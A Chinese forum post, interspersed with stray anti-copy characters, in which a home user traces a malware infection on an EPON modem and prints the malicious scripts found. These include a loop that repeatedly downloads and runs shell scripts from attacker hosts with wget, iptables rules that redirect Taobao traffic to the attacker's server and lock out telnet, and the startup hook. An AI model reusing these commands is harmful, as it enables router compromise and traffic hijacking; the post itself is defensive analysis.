|
本帖最后由 xzhower 于 2015-12-28 22:23 编辑
# Y1 f) C& |. X7 R. Z. T4 N$ `
9 d$ ]3 l* L1 y* M9 w5 D: }, @最近发现家里上网特别慢,经常打不开网页,排查两天发现是家里EPON的Modem(型号RG200O-CA)被黑了。
( d2 e* b3 ?( m- G* u6 Z
, h% h& F' C( g) {3 R$ w0 i# s4 d- \0 e; g6 {
telnet进入Modem,检查系统文件,突然telnet中断,无法再telnet。断电重启,可以telnet进去,过一会儿还是telnet会中断。遂断开光纤,此时telnet正常,不再发生中断现象,初步判断telnet中断现象与上网状态有关。怀疑是Modem被木马感染。反复PS检查当前进程信息,突然发现一行可疑信息:* `. e9 {: E& w( f
: x d6 M. c" O5 C- g) x
7 z: F) Z9 |, C5 O: m......
7 |( q: R; }% p _$ vwget -q -P /tmp http://koudaiba.sinaapp.com start.sh6 C; z) F# ]" o/ ^3 f1 l2 t8 z6 O
......
2 y6 _/ x# ^9 K6 q; z) l9 z" W: k1 Y( ~4 Q$ U
|
* w4 H1 o/ ~3 f5 H1 U8 v9 L' c- e# s& Q' y! K; a0 O; L
此前因为仔细研究过这台Modem,开启了路由功能,并成功编译上传了一个打印服务器的程序,对这个Modem的系统比较了解,从未出现过这样的信息,因此可以断定确实是Modem受到了感染。! a6 k& L& A( K9 \5 z0 I1 H3 c* T7 ?
经过搜索,上面的那行命令是通过/home/sh.sh启动的,查看/home/sh.sh内容如下:: {9 J8 X! l9 F1 N( z1 f8 }7 B- A
6 I5 g8 i8 O+ E y8 s+ B4 c5 G! l! {' `' e! Y
# cd /home
% Z( v5 n. j) Y, ?3 c# ls -l' u; e; R" ] ^7 \
-rw-r--r-- 1 admin root 466 Nov 23 07:26 sh.sh <-------------< 11月23日就被感染了- ?& p, ~4 l7 f2 h' |
# cat sh.sh
6 G9 G& U/ Q- H, c) E2 S+ `#!/bin/sh
6 m$ S+ z# j2 vwhile true i: n* {* u) U+ [
do# V2 [9 b$ {1 Y3 j# i
sleep 100
* Z+ h6 V8 A2 K9 \2 z7 [" ewget -q -P /tmp http://59.56.68.183:20011/start.sh || wget -q -P /tmp http://koudaiba.sinaapp.com/start.sh || wget -q -P /tmp http://abcdabcdabcdabcdabcd.com/start.sh && sh /tmp/start.sh && while true" ?2 Q5 N% @- c1 u! ^
do
% d1 ?3 n6 @) J8 W7 O9 Q4 owget -q -P /tmp http://59.56.68.183:20012/while.sh || wget -q -P /tmp http://koudaiba.sinaapp.com/while.sh || wget -q -P /tmp http://abcdabcdabcdabcdabcd.com/while.sh || sleep 43200 && sh /tmp/while.sh || sleep 432000 l8 G, `1 @ ^' ~1 W
done
8 B# D# k, ?+ U+ ]- c+ d2 N) ?done7 d; W1 D9 Q4 {" t7 L s7 ~) @
& J/ C' L1 Q. }4 @5 S( f | 2 ~2 R# {: ~+ I' A( C
http://59.56.68.183:20011, http://koudaiba.sinaapp.com/,http://abcdabcdabcdabcdabcd.com/% R2 b) q! }( r1 M, l M& d, E* v
可以看到木马程序从三个网站下载shell脚本并反复循环执行,好吧,我也下载下来看看里面什么东东
$ ]7 X4 G2 J8 L/ {( }) y% c. k
3 h' [% {( ^& l; Y& W: x' D0 F& {$ ~) x* O' D
#!/bin/sh for ip in"140.205.140.188" "110.75.96.102" "106.39.164.154" "140.205.142.214" "140.205.135.67" "140.205.164.96" "140.205.250.86" "110.75.206.8" "140.205.140.76" "140.205.32.93" "140.205.243.65" "140.205.170.51" "140.205.134.199" "140.205.230.37" "140.205.250.42" "110.75.96.109";do iptables -t nat -D PREROUTING -p tcp -d $ip --dport 80 -j DNAT --to-destination 59.56.68.183:20002 iptables -t nat -I PREROUTING -p tcp -d $ip --dport 80 -j DNAT --to-destination 59.56.68.183:20002 done for ip in"120.24.0.0/14" "121.40.0.0/14" "119.28.0.0/15" "203.195.128.0/17" "115.28.0.0/15" "114.215.0.0/16" "120.55.0.0/16";do iptables -t nat -D PREROUTING -p udp -d $ip --dport 53 -j DNAT --to-destination 114.114.114.114 iptables -t nat -I PREROUTING -p udp -d $ip --dport 53 -j DNAT --to-destination 114.114.114.114 done iptables -D INPUT ! -s 59.61.121.0/24 -p tcp --dport 23 -j DROP iptables -I INPUT ! -s 59.61.121.0/24 -p tcp --dport 23 -j DROP sleep 86400 | / d# ?, s9 E) g2 B$ v( j
看到一串IP地址,后面又设置了防火墙规则。最后面的两条太显眼,就是只允许指定的网段能够telnet控制我的Modem,我之前的telnet中断现象就是它干的。+ X, ^2 ~) {% f h. g
前面两条规则是把对上面那些IP TCP 80端口的访问数据全部转发到了59.56.68.183的20002端口;
9 Y5 a0 ~$ {$ y x7 K( h3 v( H中间的两条规则是把对中间那段IP地址段的DNS访问全部转发到了114.114.114.114貌似这没有太大的危害。
! u# t m4 }1 a" u那就再来看看一开始的哪些IP地址是谁的吧,随便找个IP地址试试:
$ n1 d! a1 o; m- X1 K2 S3 R) k" q* t& j0 N& G! k' T& y
- J. Y2 x+ f' D ^% ]0 N$ y1 EC:\>telnet 140.205.140.188 80 `- ~ w# |3 @/ H; w
GET / HTTP/1.07 x, d9 \4 Z# F* \0 y' O% g/ x
/ O7 _2 Q6 }% Y, _1 I
& w) i* [! G4 |
: A( G) e; Y3 B( WHTTP/1.1 302 Found# V' B' H6 y. y+ {; W9 ?: p
Server: Tengine
0 t2 z! @' o+ s* cDate: Sat, 26 Dec 2015 15:04:00 GMT
* A0 m6 w3 R; z3 f9 K0 ~8 `8 ZContent-Type: text/html
( z' p% \" z4 Z- nContent-Length: 258
# Q/ E% ? Y, MConnection: close
& i i" n& m8 K3 `$ M3 [Location: http://www.taobao.com/" v5 n3 Q% _* z$ N! w2 d6 H6 n
Via: ad052071.et2[web,302]4 t: u, z; z/ \: r8 j
% H8 u8 x1 A3 Y0 s
* E' i) v% `2 h% _ K A<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">/ |. w2 ^# G& V" _& ?1 [; f
<html>
8 g+ ~/ P0 \6 v( S4 N<head><title>302 Found</title></head>* |, m. s5 h% V. z! `2 |& T* n
<body bgcolor="white">, @2 v* r. f. Q! Y g
<h1>302 Found</h1>
4 D& d& P/ ^( o. C; J- U$ _9 O. `) e<p>The requested resource resides temporarily under a different URI.</p>
" D" m3 \( l; O/ n& K<hr/>Powered by Tengine</body>
k" |# m8 W) Q: C. l' w, v</html>& A. h% |( s7 I% i ^& w
. M$ H2 Y! K6 W4 Z' O5 D* o- l0 h5 _! o! H3 q2 |, N
| 8 H) a0 h, u" Q# S# a8 q; N; I+ |: _
乖乖,居然是淘宝的IP,原来这个木马劫持了淘宝的IP,受害的用户不知不觉就连到了木马控制人的服务器上,真是吓死宝宝了。到百度一搜,那些IP地址大都是阿里巴巴的。
% c2 K: u& H* ]% \6 w而木马控制人的服务器IP59.56.68.183是福建某地的。
! |- _) ]2 D, R; R& W) H
) P9 R& G. q. `4 `回头再来看看木马程序是如何启动的,查到/etc/有个rc_vtp2.0
. [4 d# `& w$ T( L6 {; i-r-xr-xr-x 1 admin root 545 Nov 23 07:26 rc_vtp2.0
- g+ a: |) @/ G. S1 E看看它的内容:0 W4 p* g8 R6 L
R- H' C) o N3 j# T3 g x$ L. D
" `' g' ]6 p) J5 V/ O4 n# cat rc_vtp2.0- j/ S+ y; P& L; R- C! E- T1 `
#!/bin/sh
/ y2 d R5 G1 B, w, e. m2 c/ p0 b0 X; D/ ]0 w
7 X7 T5 z) u8 k* vmkdir /var/tmp/tftp3 V8 k; U: a' Y2 K: u
mkdir /var/config
7 D+ Q8 s2 i+ P7 Emkdir /var/ctc
: a& @! y1 M4 K' y. n# v* f
) e' ~: }& ~0 {( u& ^+ s
1 J1 i7 g: r$ Mmkdir /var/net-snmp h, C8 x- l7 p# D% W* R
mkdir /var/syslog, E6 h5 V' `! M8 H! S! o
9 y8 a& y; v# U
" @6 Y5 i0 I, [' x: O/usr/sbin/lightbox3 O- N S+ D& O) m3 j+ a% e
7 h2 B0 K; p3 i p0 O5 q0 h4 o" G' i: e5 _
# enhanced the logic unix/inet socket buffer and backlog) n [& y) _5 j) b6 j# I3 P5 T% Q
echo -n "max_dgram_qlen is changed from "
8 z3 n. t5 Q# d3 ^9 ?4 R# wcat /proc/sys/net/unix/max_dgram_qlen > /dev/console/ E2 [: C: P+ T7 A
echo 100 > /proc/sys/net/unix/max_dgram_qlen
: ~" L$ k1 u( W: fecho -n "to "
/ E& S/ E M/ \. F$ M& Rcat /proc/sys/net/unix/max_dgram_qlen > /dev/console! w1 t7 q% B: W- n+ ^3 X4 S
echo -n "change the socket recv buffer uplimit to 512k"! m" i' j4 G( N! P+ P5 B5 n0 L
echo "524288" > /proc/sys/net/core/rmem_max
0 V4 {- Q& b; R
6 p! T. E" w& i; s+ T* _8 p( t
7 ]' R' s g2 Osleep 1
& }8 W; y+ e) v5 e! L6 K) X6 c3 P5 l: y2 }( H* a, h3 U
/ \+ X) D; l$ c% l& [6 p! p* icm_logic&
6 D; p: `4 F# L! r: o* [" s" ]
, q# O- B3 n; b/ Z+ a: J* ]
" i: c2 X2 s& r- \3 L; P& E( t, xsleep 1
9 v9 R, i9 i/ t* H9 g" [
. T- g) T$ r+ G: J, c6 r+ z7 E4 Q- \3 N/ @. A1 M8 u3 N+ u
syslogd &: M) a6 z9 w% H5 x8 |% @
9 c: W; M5 v- S
, A* W7 d, w- V+ \% P/ L
sh /home/sh.sh&+ {" J% F! S# Y8 s8 n, s0 w; r
3 `' V- w/ }+ }! A+ |2 V, h1 c
# s2 f( I/ r X2 R" N | ! }0 D5 e0 d# k# s0 G8 G- Q( B
0 t4 j$ e+ G7 D! B( y在最后多了一句,之前的内容可能是原来就有的,因为之前没有备份过系统文件,所以不好判断。+ w: D# J% h6 E
再看看rc_vtp2.0是在哪儿启动的,只在/etc/profile中有一句
+ h0 ~% c6 c/ _# y( z
- {; a. | a0 d1 i/ i! W- p8 S; Q; x, h
......
# a1 {, J6 [6 X5 i A; |+ q6 B/etc/rc_vtp2.06 k' Z6 q; c Z
: A8 S9 t) Z7 b; r R+ p c! y+ K4 V" \
......, |! `4 C% p* h
|
: e1 ~7 _$ C6 i" Y1 a4 u3 ^9 l C- n. Y$ \: e1 z- t* r" C: e
这就奇怪了,按理/etc/profile只有在有人登录之后才会执行,是不是还有另外的地方启动呢?5 r6 W) \, R( D& \- p8 Y/ }5 O
7 M* J7 C+ x3 {
( F4 N& W4 ?( o1 v9 @: e0 |$ J1 g先赶紧把这些木马文件干掉,回头继续查。
/ H( N3 G* P2 _; W3 N8 Z0 u _
2015.12.26 23:19
# ^$ h- B* P, ]" ?* Z, q7 v# L8 T' g- `% d/ L. P1 |# D
( W; z( C; e; D" O7 D3 ?; i5 g/ z" v
7 O+ E/ G3 s% [/ w* W( m |
|